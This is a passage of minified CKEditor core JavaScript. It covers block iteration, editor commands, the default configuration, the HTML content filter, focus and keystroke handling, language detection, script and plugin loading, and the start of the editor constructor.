if(!s&&!h.getChildCount()&&"hr"!=T){r=h,l=h.equals(u);break}s&&(s.setEndAt(h,CKEDITOR.POSITION_BEFORE_START),"br"!=T&&(this._.nextNode=h)),m=1}else{if(h.getFirst()){s||(s=this.range.clone()).setStartAt(h,CKEDITOR.POSITION_BEFORE_START),h=h.getFirst();continue}E=1}}if(E&&!s&&(s=this.range.clone()).setStartAt(h,CKEDITOR.POSITION_BEFORE_START),l=(!m||E)&&h.equals(u),s&&!m)for(;!h.getNext(a)&&!l;){if((T=h.getParent()).isBlockBoundary(this.forceBrBreak&&!f&&{br:1})){m=1,E=0,l||T.equals(u),s.setEndAt(T,CKEDITOR.POSITION_BEFORE_END);break}E=1,l=(h=T).equals(u),g=1}if(E&&s.setEndAt(h,CKEDITOR.POSITION_AFTER_END),(l=!(h=t(h,g,u)))||m&&s)break}if(!r){if(!s)return this._.docEndMarker&&this._.docEndMarker.remove(),this._.nextNode=null;h=(r=new CKEDITOR.dom.elementPath(s.startContainer,s.root)).blockLimit,m={div:1,th:1,td:1},!(r=r.block)&&h&&!this.enforceRealBlocks&&m[h.getName()]&&s.checkStartOfBlock()&&s.checkEndOfBlock()&&!h.equals(s.root)?r=h:!r||this.enforceRealBlocks&&"li"==r.getName()?(r=this.range.document.createElement(e),s.extractContents().appendTo(r),r.trim(),s.insertNode(r),c=d=!0):"li"!=r.getName()?s.checkStartOfBlock()&&s.checkEndOfBlock()||(r=r.clone(!1),s.extractContents().appendTo(r),r.trim(),c=!(d=s.splitBlock()).wasStartOfBlock,d=!d.wasEndOfBlock,s.insertNode(r)):l||(this._.nextNode=r.equals(u)?null:t(s.getBoundaryNodes().endNode,1,u))}return c&&(c=r.getPrevious())&&c.type==CKEDITOR.NODE_ELEMENT&&("br"==c.getName()?c.remove():c.getLast()&&"br"==c.getLast().$.nodeName.toLowerCase()&&c.getLast().remove()),d&&(c=r.getLast())&&c.type==CKEDITOR.NODE_ELEMENT&&"br"==c.getName()&&(!CKEDITOR.env.needsBrFiller||c.getPrevious(o)||c.getNext(o))&&c.remove(),this._.nextNode||(this._.nextNode=l||r.equals(u)||!u?null:t(r,1,u)),r}},CKEDITOR.dom.range.prototype.createIterator=function(){return new e(this)}}(),CKEDITOR.command=function(e,t){var n;this.uiItems=[],this.exec=function(n){return!(this.state==CKEDITOR.TRISTATE_DISABLED||!this.checkAllowed())&&(this.editorFocus&&e.focus(),!1===this.fire("exec")||!1!==t.exec.call(this,e,n))},this.refresh=function(e,n){return!(this.readOnly||!e.readOnly)||(this.context&&!n.isContextFor(this.context)?(this.disable(),!0):this.checkAllowed(!0)?(this.startDisabled||this.enable(),this.modes&&!this.modes[e.mode]&&this.disable(),!1===this.fire("refresh",{editor:e,path:n})||t.refresh&&!1!==t.refresh.apply(this,arguments)):(this.disable(),!0))},this.checkAllowed=function(t){return t||"boolean"!=typeof n?n=e.activeFilter.checkFeature(this):n},CKEDITOR.tools.extend(this,t,{modes:{wysiwyg:1},editorFocus:1,contextSensitive:!!t.context,state:CKEDITOR.TRISTATE_DISABLED}),CKEDITOR.event.call(this)},CKEDITOR.command.prototype={enable:function(){this.state==CKEDITOR.TRISTATE_DISABLED&&this.checkAllowed()&&this.setState(this.preserveState&&void 0!==this.previousState?this.previousState:CKEDITOR.TRISTATE_OFF)},disable:function(){this.setState(CKEDITOR.TRISTATE_DISABLED)},setState:function(e){return!(this.state==e||e!=CKEDITOR.TRISTATE_DISABLED&&!this.checkAllowed()||(this.previousState=this.state,this.state=e,this.fire("state"),0))},toggleState:function(){this.state==CKEDITOR.TRISTATE_OFF?this.setState(CKEDITOR.TRISTATE_ON):this.state==CKEDITOR.TRISTATE_ON&&this.setState(CKEDITOR.TRISTATE_OFF)}},CKEDITOR.event.implementOn(CKEDITOR.command.prototype),CKEDITOR.ENTER_P=1,CKEDITOR.ENTER_BR=2,CKEDITOR.ENTER_DIV=3,CKEDITOR.config={customConfig:"config.js",autoUpdateElement:!0,language:"",defaultLanguage:"en",contentsLangDirection:"",enterMode:CKEDITOR.ENTER_P,forceEnterMode:!1,shiftEnterMode:CKEDITOR.ENTER_BR,docType:"<!DOCTYPE html>",bodyId:"",bodyClass:"",fullPage:!1,height:200,extraPlugins:"",removePlugins:"",protectedSource:[],tabIndex:0,width:"",baseFloatZIndex:1e4,blockedKeystrokes:[CKEDITOR.CTRL+66,CKEDITOR.CTRL+73,CKEDITOR.CTRL+85]},function(){function e(e,n,i,r,a){var s=n.name;if((r||"function"!=typeof e.elements||e.elements(s))&&(!e.match||e.match(n))){if(r=!a){e:if(e.nothingRequired)r=!0;else{if(a=e.requiredClasses)for(s=n.classes,r=0;r<a.length;++r)if(-1==CKEDITOR.tools.indexOf(s,a[r])){r=!1;break e}r=o(n.styles,e.requiredStyles)&&o(n.attributes,e.requiredAttributes)}r=!r}if(!r&&(e.propertiesOnly||(i.valid=!0),i.allAttributes||(i.allAttributes=t(e.attributes,n.attributes,i.validAttributes)),i.allStyles||(i.allStyles=t(e.styles,n.styles,i.validStyles)),!i.allClasses)){if(e=e.classes,n=n.classes,r=i.validClasses,e)if(!0===e)n=!0;else{var l;for(a=0,s=n.length;a<s;++a)r[l=n[a]]||(r[l]=e(l));n=!1}else n=!1;i.allClasses=n}}}function t(e,t,n){if(!e)return!1;if(!0===e)return!0;for(var i in t)n[i]||(n[i]=e(i,t[i]));return!1}function n(e,t){if(!e)return!1;if(!0===e)return e;if("string"==typeof e)return"*"==(e=D(e))||CKEDITOR.tools.convertArrayToObject(e.split(t));if(CKEDITOR.tools.isArray(e))return!!e.length&&CKEDITOR.tools.convertArrayToObject(e);var n,i={},o=0;for(n in e)i[n]=e[n],o++;return!!o&&i}function i(t){if(t._.filterFunction)return t._.filterFunction;var n=/^cke:(object|embed|param)$/,i=/^(object|embed|param)$/;return t._.filterFunction=function(o,r,a,s,u,h,m){var f,g=o.name,T=!1;if(u&&(o.name=g=g.replace(n,"$1")),a=a&&a[g]){for(l(o),g=0;g<a.length;++g)E(t,o,a[g]);c(o)}if(r){g=o.name,a=r.elements[g];var p=r.generic;if(r={valid:!1,validAttributes:{},validClasses:{},validStyles:{},allAttributes:!1,allClasses:!1,allStyles:!1},!a&&!p)return s.push(o),!0;if(l(o),a)for(g=0,f=a.length;g<f;++g)e(a[g],o,r,!0,h);if(p)for(g=0,f=p.length;g<f;++g)e(p[g],o,r,!1,h);if(!r.valid)return s.push(o),!0;h=r.validAttributes,g=r.validStyles,a=r.validClasses,f=o.attributes,p=o.styles;var C,I,O=f.class,D=f.style,R=[],v=[],b=/^data-cke-/,K=!1;if(delete f.style,delete f.class,!r.allAttributes)for(C in f)h[C]||b.test(C)&&(C==(I=C.replace(/^data-cke-saved-/,""))||h[I])||(delete f[C],K=!0);if(r.allStyles)D&&(f.style=D);else{for(C in p)g[C]?R.push(C+":"+p[C]):K=!0;R.length&&(f.style=R.sort().join("; "))}if(r.allClasses)O&&(f.class=O);else{for(C in a)a[C]&&v.push(C);v.length&&(f.class=v.sort().join(" ")),O&&v.length<O.split(/\s+/).length&&(K=!0)}if(K&&(T=!0),!m&&!d(o))return s.push(o),!0}return u&&(o.name=o.name.replace(i,"cke:$1")),T}}function o(e,t){if(!t)return!0;for(var n=0;n<t.length;++n)if(!(t[n]in e))return!1;return!0}function r(e){if(!e)return{};e=e.split(/\s*,\s*/).sort();for(var t={};e.length;)t[e.shift()]=R;return t}function a(e){var t,n,i,o,r={},a=1;for(e=D(e);t=e.match(_);)(n=t[2])?(i=s(n,"styles"),o=s(n,"attrs"),n=s(n,"classes")):i=o=n=null,r["$"+a++]={elements:t[1],classes:n,styles:i,attributes:o},e=e.slice(t[0].length);return r}function s(e,t){var n=e.match(y[t]);return n?D(n[1]):null}function l(e){e.styles||(e.styles=CKEDITOR.tools.parseCssText(e.attributes.style||"",1)),e.classes||(e.classes=e.attributes.class?e.attributes.class.split(/\s+/):[])}function c(e){var t,n=e.attributes;delete n.style,delete n.class,(t=CKEDITOR.tools.writeCssText(e.styles,!0))&&(n.style=t),e.classes.length&&(n.class=e.classes.sort().join(" "))}function d(e){switch(e.name){case"a":if(!e.children.length&&!e.attributes.name)return!1;break;case"img":if(!e.attributes.src)return!1}return!0}function u(e){return!!e&&(!0===e||function(t){return t in e})}function h(){return new CKEDITOR.htmlParser.element("br")}function m(e){return e.type==CKEDITOR.NODE_ELEMENT&&("br"==e.name||I.$block[e.name])}function f(e,t,n){var i=e.name;if(I.$empty[i]||!e.children.length)"hr"==i&&"br"==t?e.replaceWith(h()):(e.parent&&n.push({check:"it",el:e.parent}),e.remove());else if(I.$block[i]||"tr"==i)if("br"==t)e.previous&&!m(e.previous)&&(t=h()).insertBefore(e),e.next&&!m(e.next)&&(t=h()).insertAfter(e),e.replaceWithChildren();else{var o;i=e.children;e:{o=I[t];for(var r,a=0,s=i.length;a<s;++a)if((r=i[a]).type==CKEDITOR.NODE_ELEMENT&&!o[r.name]){o=!1;break e}o=!0}if(o)e.name=t,e.attributes={},n.push({check:"parent-down",el:e});else{var l;for(a=(o=e.parent).type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||"body"==o.name,s=i.length;s>0;)r=i[--s],a&&(r.type==CKEDITOR.NODE_TEXT||r.type==CKEDITOR.NODE_ELEMENT&&I.$inline[r.name])?(l||((l=new CKEDITOR.htmlParser.element(t)).insertAfter(e),n.push({check:"parent-down",el:l})),l.add(r,0)):(l=null,r.insertAfter(e),o.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT&&r.type==CKEDITOR.NODE_ELEMENT&&!I[o.name][r.name]&&n.push({check:"el-up",el:r}));e.remove()}}else"style"==i?e.remove():(e.parent&&n.push({check:"it",el:e.parent}),e.replaceWithChildren())}function E(e,t,n){var i,o;for(i=0;i<n.length;++i)if((!(o=n[i]).check||e.check(o.check,!1))&&(!o.left||o.left(t))){o.right(t,k);break}}function g(e,t){var n,i,o,r,a=t.getDefinition(),s=a.attributes,l=a.styles;if(e.name!=a.element)return!1;for(n in s)if("class"==n){for(a=s[n].split(/\s+/),o=e.classes.join("|");r=a.pop();)if(-1==o.indexOf(r))return!1}else if(e.attributes[n]!=s[n])return!1;for(i in l)if(e.styles[i]!=l[i])return!1;return!0}function T(e,t){var n,i;return"string"==typeof e?n=e:e instanceof CKEDITOR.style?i=e:(n=e[0],i=e[1]),[{element:n,left:i,right:function(e,n){n.transform(e,t)}}]}function p(e){return function(t){return g(t,e)}}function C(e){return function(t,n){n[e](t)}}var I=CKEDITOR.dtd,O=CKEDITOR.tools.copy,D=CKEDITOR.tools.trim,R="cke-test",v=["","p","br","div"];CKEDITOR.filter=function(e){if(this.allowedContent=[],this.disabled=!1,this.editor=null,this.id=CKEDITOR.tools.getNextNumber(),this._={rules:{},transformations:{},cachedTests:{}},CKEDITOR.filter.instances[this.id]=this,e instanceof CKEDITOR.editor){e=this.editor=e,this.customConfig=!0;var t=e.config.allowedContent;!0===t?this.disabled=!0:(t||(this.customConfig=!1),this.allow(t,"config",1),this.allow(e.config.extraAllowedContent,"extra",1),this.allow(v[e.enterMode]+" "+v[e.shiftEnterMode],"default",1))}else this.customConfig=!1,this.allow(e,"default",1)},CKEDITOR.filter.instances={},CKEDITOR.filter.prototype={allow:function(e,t,i){if(this.disabled||this.customConfig&&!i||!e)return!1;var o,r,s;if(this._.cachedChecks={},"string"==typeof e)e=a(e);else if(e instanceof CKEDITOR.style)r=e.getDefinition(),i={},e=r.attributes,i[r.element]=r={styles:r.styles,requiredStyles:r.styles&&CKEDITOR.tools.objectKeys(r.styles)},e&&(e=O(e),r.classes=e.class?e.class.split(/\s+/):null,r.requiredClasses=r.classes,delete e.class,r.attributes=e,r.requiredAttributes=e&&CKEDITOR.tools.objectKeys(e)),e=i;else if(CKEDITOR.tools.isArray(e)){for(o=0;o<e.length;++o)r=this.allow(e[o],t,i);return r}for(s in i=[],e){r="boolean"==typeof(r=e[s])?{}:"function"==typeof r?{match:r}:O(r),"$"!=s.charAt(0)&&(r.elements=s),t&&(r.featureName=t.toLowerCase());var l=r;l.elements=n(l.elements,/\s+/)||null,l.propertiesOnly=l.propertiesOnly||!0===l.elements;var c=/\s*,\s*/,d=void 0;for(d in b){l[d]=n(l[d],c)||null;var h=l,m=K[d],f=n(l[K[d]],c),E=l[d],g=[],T=!0,p=void 0;for(p in f?T=!1:f={},E)"!"==p.charAt(0)&&(p=p.slice(1),g.push(p),f[p]=!0,T=!1);for(;p=g.pop();)E[p]=E["!"+p],delete E["!"+p];h[m]=!T&&f||null}l.match=l.match||null,this.allowedContent.push(r),i.push(r)}for(s=(t=this._.rules).elements||{},e=t.generic||[],r=0,l=i.length;r<l;++r){for(m in d=!0===(c=O(i[r])).classes||!0===c.styles||!0===c.attributes,h=c,m=void 0,b)h[m]=u(h[m]);for(m in f=!0,K)h[m=K[m]]=CKEDITOR.tools.objectKeys(h[m]),h[m]&&(f=!1);if(h.nothingRequired=f,!0===c.elements||null===c.elements)c.elements=u(c.elements),e[d?"unshift":"push"](c);else for(o in h=c.elements,delete c.elements,h)s[o]?s[o][d?"unshift":"push"](c):s[o]=[c]}return t.elements=s,t.generic=e.length?e:null,!0},applyTo:function(e,t,n,o){if(this.disabled)return!1;var r,a=[],s=!n&&this._.rules,l=this._.transformations,c=i(this),u=this.editor&&this.editor.config.protectedSource,h=!1;for(e.forEach((function(e){if(e.type==CKEDITOR.NODE_ELEMENT){if("off"==e.attributes["data-cke-filter"])return!1;t&&"span"==e.name&&~CKEDITOR.tools.objectKeys(e.attributes).join("|").indexOf("data-cke-")||c(e,s,l,a,t)&&(h=!0)}else if(e.type==CKEDITOR.NODE_COMMENT&&e.value.match(/^\{cke_protected\}(?!\{C\})/)){var n;e:{var i,o,r,d=decodeURIComponent(e.value.replace(/^\{cke_protected\}/,""));if(n=[],u)for(o=0;o<u.length;++o)if((r=d.match(u[o]))&&r[0].length==d.length){n=!0;break e}1==(d=CKEDITOR.htmlParser.fragment.fromHtml(d)).children.length&&(i=d.children[0]).type==CKEDITOR.NODE_ELEMENT&&c(i,s,l,n,t),n=!n.length}n||a.push(e)}}),null,!0),a.length&&(h=!0),e=[],o=v[o||(this.editor?this.editor.enterMode:CKEDITOR.ENTER_P)];n=a.pop();)n.type==CKEDITOR.NODE_ELEMENT?f(n,o,e):n.remove();for(;r=e.pop();)if((n=r.el).parent)switch(r.check){case"it":I.$removeEmpty[n.name]&&!n.children.length?f(n,o,e):d(n)||f(n,o,e);break;case"el-up":n.parent.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT&&!I[n.parent.name][n.name]&&f(n,o,e);break;case"parent-down":n.parent.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT&&!I[n.parent.name][n.name]&&f(n.parent,o,e)}return h},checkFeature:function(e){return!(!this.disabled&&e)||(e.toFeature&&(e=e.toFeature(this.editor)),!e.requiredContent||this.check(e.requiredContent))},disable:function(){this.disabled=!0},addContentForms:function(e){if(!this.disabled&&e){var t,n,i,o=[];for(t=0;t<e.length&&!i;++t)("string"==typeof(n=e[t])||n instanceof CKEDITOR.style)&&this.check(n)&&(i=n);if(i){for(t=0;t<e.length;++t)o.push(T(e[t],i));this.addTransformations(o)}}},addFeature:function(e){return!(!this.disabled&&e)||(e.toFeature&&(e=e.toFeature(this.editor)),this.allow(e.allowedContent,e.name),this.addTransformations(e.contentTransformations),this.addContentForms(e.contentForms),!this.customConfig||!e.requiredContent||this.check(e.requiredContent))},addTransformations:function(e){var t,n;if(!this.disabled&&e){var i,o=this._.transformations;for(i=0;i<e.length;++i){t=e[i];var r=void 0,a=void 0,s=void 0,l=void 0,c=void 0,d=void 0;for(n=[],a=0;a<t.length;++a)"string"==typeof(s=t[a])?(l=(s=s.split(/\s*:\s*/))[0],c=null,d=s[1]):(l=s.check,c=s.left,d=s.right),r||(r=(r=s).element?r.element:l?l.match(/^([a-z0-9]+)/i)[0]:r.left.getDefinition().element),c instanceof CKEDITOR.style&&(c=p(c)),n.push({check:l==r?null:l,left:c,right:"string"==typeof d?C(d):d});o[t=r]||(o[t]=[]),o[t].push(n)}}},check:function(e,t,n){if(this.disabled)return!0;if(CKEDITOR.tools.isArray(e)){for(var o=e.length;o--;)if(this.check(e[o],t,n))return!0;return!1}var s,l;if("string"==typeof e){if((l=e+"<"+(!1===t?"0":"1")+(n?"1":"0")+">")in this._.cachedChecks)return this._.cachedChecks[l];s=(o=a(e).$1).styles;var d=o.classes;o.name=o.elements,o.classes=d=d?d.split(/\s*,\s*/):[],o.styles=r(s),o.attributes=r(o.attributes),o.children=[],d.length&&(o.attributes.class=d.join(" ")),s&&(o.attributes.style=CKEDITOR.tools.writeCssText(o.styles)),s=o}else s=(o=e.getDefinition()).styles,d=o.attributes||{},s?(s=O(s),d.style=CKEDITOR.tools.writeCssText(s,!0)):s={},s={name:o.element,attributes:d,classes:d.class?d.class.split(/\s+/):[],styles:s,children:[]};d=CKEDITOR.tools.clone(s);var u,h=[];if(!1!==t&&(u=this._.transformations[s.name])){for(o=0;o<u.length;++o)E(this,s,u[o]);c(s)}return i(this)(d,this._.rules,!1!==t&&this._.transformations,h,!1,!n,!n),t=!(h.length>0||!CKEDITOR.tools.objectCompare(s.attributes,d.attributes,!0)),"string"==typeof e&&(this._.cachedChecks[l]=t),t},getAllowedEnterMode:function(){var e=["p","div","br"],t={p:CKEDITOR.ENTER_P,div:CKEDITOR.ENTER_DIV,br:CKEDITOR.ENTER_BR};return function(n,i){var o,r=e.slice();if(this.check(v[n]))return n;for(i||(r=r.reverse());o=r.pop();)if(this.check(o))return t[o];return CKEDITOR.ENTER_BR}}()};var b={styles:1,attributes:1,classes:1},K={styles:"requiredStyles",attributes:"requiredAttributes",classes:"requiredClasses"},_=/^([a-z0-9*\s]+)((?:\s*\{[!\w\-,\s\*]+\}\s*|\s*\[[!\w\-,\s\*]+\]\s*|\s*\([!\w\-,\s\*]+\)\s*){0,3})(?:;\s*|$)/i,y={styles:/{([^}]+)}/,attrs:/\[([^\]]+)\]/,classes:/\(([^\)]+)\)/},k=CKEDITOR.filter.transformationsTools={sizeToStyle:function(e){this.lengthToStyle(e,"width"),this.lengthToStyle(e,"height")},sizeToAttribute:function(e){this.lengthToAttribute(e,"width"),this.lengthToAttribute(e,"height")},lengthToStyle:function(e,t,n){if(!((n=n||t)in e.styles)){var i=e.attributes[t];i&&(/^\d+$/.test(i)&&(i+="px"),e.styles[n]=i)}delete e.attributes[t]},lengthToAttribute:function(e,t,n){if(!((n=n||t)in e.attributes)){var i=e.styles[t],o=i&&i.match(/^(\d+)(?:\.\d*)?px$/);o?e.attributes[n]=o[1]:i==R&&(e.attributes[n]=R)}delete e.styles[t]},alignmentToStyle:function(e){if(!("float"in e.styles)){var t=e.attributes.align;"left"!=t&&"right"!=t||(e.styles.float=t)}delete e.attributes.align},alignmentToAttribute:function(e){if(!("align"in e.attributes)){var t=e.styles.float;"left"!=t&&"right"!=t||(e.attributes.align=t)}delete e.styles.float},matchesStyle:g,transform:function(e,t){if("string"==typeof t)e.name=t;else{var n,i,o,r,a=t.getDefinition(),s=a.styles,l=a.attributes;for(n in e.name=a.element,l)if("class"==n)for(a=e.classes.join("|"),o=l[n].split(/\s+/);r=o.pop();)-1==a.indexOf(r)&&e.classes.push(r);else e.attributes[n]=l[n];for(i in s)e.styles[i]=s[i]}}}}(),CKEDITOR.focusManager=function(e){return e.focusManager?e.focusManager:(this.hasFocus=!1,this.currentActive=null,this._={editor:e},this)},CKEDITOR.focusManager._={blurDelay:200},CKEDITOR.focusManager.prototype={focus:function(e){this._.timer&&clearTimeout(this._.timer),e&&(this.currentActive=e),this.hasFocus||this._.locked||((e=CKEDITOR.currentInstance)&&e.focusManager.blur(1),this.hasFocus=!0,(e=this._.editor.container)&&e.addClass("cke_focus"),this._.editor.fire("focus"))},lock:function(){this._.locked=1},unlock:function(){delete this._.locked},blur:function(e){function t(){if(this.hasFocus){this.hasFocus=!1;var e=this._.editor.container;e&&e.removeClass("cke_focus"),this._.editor.fire("blur")}}if(!this._.locked){this._.timer&&clearTimeout(this._.timer);var n=CKEDITOR.focusManager._.blurDelay;e||!n?t.call(this):this._.timer=CKEDITOR.tools.setTimeout((function(){delete this._.timer,t.call(this)}),n,this)}},add:function(e,t){if(!(n=e.getCustomData("focusmanager"))||n!=this){n&&n.remove(e);var n="focus",i="blur";t&&(CKEDITOR.env.ie?(n="focusin",i="focusout"):CKEDITOR.event.useCapture=1);var o={blur:function(){e.equals(this.currentActive)&&this.blur()},focus:function(){this.focus(e)}};e.on(n,o.focus,this),e.on(i,o.blur,this),t&&(CKEDITOR.event.useCapture=0),e.setCustomData("focusmanager",this),e.setCustomData("focusmanager_handlers",o)}},remove:function(e){e.removeCustomData("focusmanager");var t=e.removeCustomData("focusmanager_handlers");e.removeListener("blur",t.blur),e.removeListener("focus",t.focus)}},CKEDITOR.keystrokeHandler=function(e){return e.keystrokeHandler?e.keystrokeHandler:(this.keystrokes={},this.blockedKeystrokes={},this._={editor:e},this)},function(){var e,t=function(t){var n=(t=t.data).getKeystroke(),i=this.keystrokes[n],o=this._.editor;return(e=!1===o.fire("key",{keyCode:n}))||(i&&(e=!1!==o.execCommand(i,{from:"keystrokeHandler"})),e||(e=!!this.blockedKeystrokes[n])),e&&t.preventDefault(!0),!e},n=function(t){e&&(e=!1,t.data.preventDefault(!0))};CKEDITOR.keystrokeHandler.prototype={attach:function(e){e.on("keydown",t,this),(CKEDITOR.env.opera||CKEDITOR.env.gecko&&CKEDITOR.env.mac)&&e.on("keypress",n,this)}}}(),CKEDITOR.lang={languages:{af:1,ar:1,bg:1,bn:1,bs:1,ca:1,cs:1,cy:1,da:1,de:1,el:1,"en-au":1,"en-ca":1,"en-gb":1,en:1,eo:1,es:1,et:1,eu:1,fa:1,fi:1,fo:1,"fr-ca":1,fr:1,gl:1,gu:1,he:1,hi:1,hr:1,hu:1,id:1,is:1,it:1,ja:1,ka:1,km:1,ko:1,ku:1,lt:1,lv:1,mk:1,mn:1,ms:1,nb:1,nl:1,no:1,pl:1,"pt-br":1,pt:1,ro:1,ru:1,si:1,sk:1,sl:1,sq:1,"sr-latn":1,sr:1,sv:1,th:1,tr:1,ug:1,uk:1,vi:1,"zh-cn":1,zh:1},rtl:{ar:1,fa:1,he:1,ku:1,ug:1},load:function(e,t,n){e&&CKEDITOR.lang.languages[e]||(e=this.detect(t,e)),this[e]?n(e,this[e]):CKEDITOR.scriptLoader.load(CKEDITOR.getUrl("lang/"+e+".js"),(function(){this[e].dir=this.rtl[e]?"rtl":"ltr",n(e,this[e])}),this)},detect:function(e,t){var n=this.languages,i=(o=(t=t||navigator.userLanguage||navigator.language||e).toLowerCase().match(/([a-z]+)(?:-([a-z]+))?/))[1],o=o[2];return n[i+"-"+o]?i=i+"-"+o:n[i]||(i=null),CKEDITOR.lang.detect=i?function(){return i}:function(e){return e},i||e}},CKEDITOR.scriptLoader=function(){var e={},t={};return{load:function(n,i,o,r){var a="string"==typeof n;a&&(n=[n]),o||(o=CKEDITOR);var s=n.length,l=[],c=[],d=function(e){i&&(a?i.call(o,e):i.call(o,l,c))};if(0===s)d(!0);else{var u=function(e,t){(t?l:c).push(e),--s<=0&&(r&&CKEDITOR.document.getDocumentElement().removeStyle("cursor"),d(t))},h=function(n,i){e[n]=1;var o=t[n];delete t[n];for(var r=0;r<o.length;r++)o[r](n,i)},m=function(n){if(e[n])u(n,!0);else{var o=t[n]||(t[n]=[]);if(o.push(u),!(o.length>1)){var r=new CKEDITOR.dom.element("script");r.setAttributes({type:"text/javascript",src:n}),i&&(CKEDITOR.env.ie&&CKEDITOR.env.version<11?r.$.onreadystatechange=function(){"loaded"!=r.$.readyState&&"complete"!=r.$.readyState||(r.$.onreadystatechange=null,h(n,!0))}:(r.$.onload=function(){setTimeout((function(){h(n,!0)}),0)},r.$.onerror=function(){h(n,!1)})),r.appendTo(CKEDITOR.document.getHead())}}};r&&CKEDITOR.document.getDocumentElement().setStyle("cursor","wait");for(var f=0;f<s;f++)m(n[f])}},queue:function(){function e(){var e;(e=t[0])&&this.load(e.scriptUrl,e.callback,CKEDITOR,0)}var t=[];return function(n,i){var o=this;t.push({scriptUrl:n,callback:function(){i&&i.apply(this,arguments),t.shift(),e.call(o)}}),1==t.length&&e.call(this)}}()}}(),CKEDITOR.resourceManager=function(e,t){this.basePath=e,this.fileName=t,this.registered={},this.loaded={},this.externals={},this._={waitingList:{}}},CKEDITOR.resourceManager.prototype={add:function(e,t){if(this.registered[e])throw'[CKEDITOR.resourceManager.add] The resource name "'+e+'" is already registered.';var n=this.registered[e]=t||{};return n.name=e,n.path=this.getPath(e),CKEDITOR.fire(e+CKEDITOR.tools.capitalize(this.fileName)+"Ready",n),this.get(e)},get:function(e){return this.registered[e]||null},getPath:function(e){var t=this.externals[e];return CKEDITOR.getUrl(t&&t.dir||this.basePath+e+"/")},getFilePath:function(e){var t=this.externals[e];return CKEDITOR.getUrl(this.getPath(e)+(t?t.file:this.fileName+".js"))},addExternal:function(e,t,n){e=e.split(",");for(var i=0;i<e.length;i++){var o=e[i];n||(t=t.replace(/[^\/]+$/,(function(e){return n=e,""}))),this.externals[o]={dir:t,file:n||this.fileName+".js"}}},load:function(e,t,n){CKEDITOR.tools.isArray(e)||(e=e?[e]:[]);for(var i=this.loaded,o=this.registered,r=[],a={},s={},l=0;l<e.length;l++){var c=e[l];if(c)if(i[c]||o[c])s[c]=this.get(c);else{var d=this.getFilePath(c);r.push(d),d in a||(a[d]=[]),a[d].push(c)}}CKEDITOR.scriptLoader.load(r,(function(e,o){if(o.length)throw'[CKEDITOR.resourceManager.load] Resource name "'+a[o[0]].join(",")+'" was not found at "'+o[0]+'".';for(var r=0;r<e.length;r++)for(var l=a[e[r]],c=0;c<l.length;c++){var d=l[c];s[d]=this.get(d),i[d]=1}t.call(n,s)}),this)}},CKEDITOR.plugins=new CKEDITOR.resourceManager("plugins/","plugin"),CKEDITOR.plugins.load=CKEDITOR.tools.override(CKEDITOR.plugins.load,(function(e){var t={};return function(n,i,o){var r={},a=function(n){e.call(this,n,(function(e){CKEDITOR.tools.extend(r,e);var n,s=[];for(n in e){var l=e[n],c=l&&l.requires;if(!t[n]){if(l.icons)for(var d=l.icons.split(","),u=d.length;u--;)CKEDITOR.skin.addIcon(d[u],l.path+"icons/"+(CKEDITOR.env.hidpi&&l.hidpi?"hidpi/":"")+d[u]+".png");t[n]=1}if(c)for(c.split&&(c=c.split(",")),l=0;l<c.length;l++)r[c[l]]||s.push(c[l])}if(s.length)a.call(this,s);else{for(n in r)(l=r[n]).onLoad&&!l.onLoad._called&&(!1===l.onLoad()&&delete r[n],l.onLoad._called=1);i&&i.call(o||window,r)}}),this)};a.call(this,n)}})),CKEDITOR.plugins.setLang=function(e,t,n){var i;e=(i=this.get(e)).langEntries||(i.langEntries={}),(i=i.lang||(i.lang=[])).split&&(i=i.split(",")),-1==CKEDITOR.tools.indexOf(i,t)&&i.push(t),e[t]=n},CKEDITOR.ui=function(e){return e.ui?e.ui:(this.items={},this.instances={},this.editor=e,this._={handlers:{}},this)},CKEDITOR.ui.prototype={add:function(e,t,n){n.name=e.toLowerCase();var i=this.items[e]={type:t,command:n.command||null,args:Array.prototype.slice.call(arguments,2)};CKEDITOR.tools.extend(i,n)},get:function(e){return this.instances[e]},create:function(e){var t=this.items[e],n=t&&this._.handlers[t.type],i=t&&t.command&&this.editor.getCommand(t.command);return n=n&&n.create.apply(this,t.args),this.instances[e]=n,i&&i.uiItems.push(n),n&&!n.type&&(n.type=t.type),n},addHandler:function(e,t){this._.handlers[e]=t},space:function(e){return CKEDITOR.document.getById(this.spaceId(e))},spaceId:function(e){return this.editor.id+"_"+e}},CKEDITOR.event.implementOn(CKEDITOR.ui),function(){function e(e,n,o){if(CKEDITOR.event.call(this),e=e&&CKEDITOR.tools.clone(e),void 0!==n){if(!(n instanceof CKEDITOR.dom.element))throw Error("Expect element of type CKEDITOR.dom.element.");if(!o)throw Error("One of the element modes must be specified.");if(CKEDITOR.env.ie&&CKEDITOR.env.quirks&&o==CKEDITOR.ELEMENT_MODE_INLINE)throw Error("Inline element mode is not supported on IE quirks.");if(!(o==CKEDITOR.ELEMENT_MODE_INLINE?n.is(CKEDITOR.dtd.$editable)||n.is("textarea"):o!=CKEDITOR.ELEMENT_MODE_REPLACE||!n.is(CKEDITOR.dtd.$nonBodyContent)))throw Error('The specified element mode is not supported on element: "'+n.getName()+'".');this.element=n,this.elementMode=o,this.name=this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO&&(n.getId()||n.getNameAtt())}else this.elementMode=CKEDITOR.ELEMENT_MODE_NONE;this._={},this.commands={},this.templates={},this.name=this.name||function(){do{var e="editor"+ ++s}while(CKEDITOR.instances[e]);return e}(),this.id=CKEDITOR.tools.getNextId(),this.status="unloaded",this.config=CKEDITOR.tools.prototypedCopy(CKEDITOR.config),this.ui=new CKEDITOR.ui(this),this.focusManager=new CKEDITOR.focusManager(this),this.keystrokeHandler=new CKEDITOR.keystrokeHandler(this),this.on("readOnly",t),this.on("selectionChange",(function(e){i(this,e.data.path)})),this.on("activeFilterChange",(function(){i(this,this.elementPath(),!0)})),this.on("mode",t),this.on("instanceReady",(function(){this.config.startupFocus&&this.focus()})),CKEDITOR.fire("instanceCreated",null,this),CKEDITOR.add(this),CKEDITOR.tools.setTimeout((function(){r(this,e)}),0,this)}function t(){var e,t=this.commands;for(e in t)n(this,t[e])}function n(e,t){t[t.startDisabled||e.readOnly&&!t.readOnly?"disable":t.modes[e.mode]?"enable":"disable"]()}function i(e,t,n){if(t){var i,o,r=e.commands;for(o in r)i=r[o],(n||i.contextSensitive)&&i.refresh(e,t)}}function 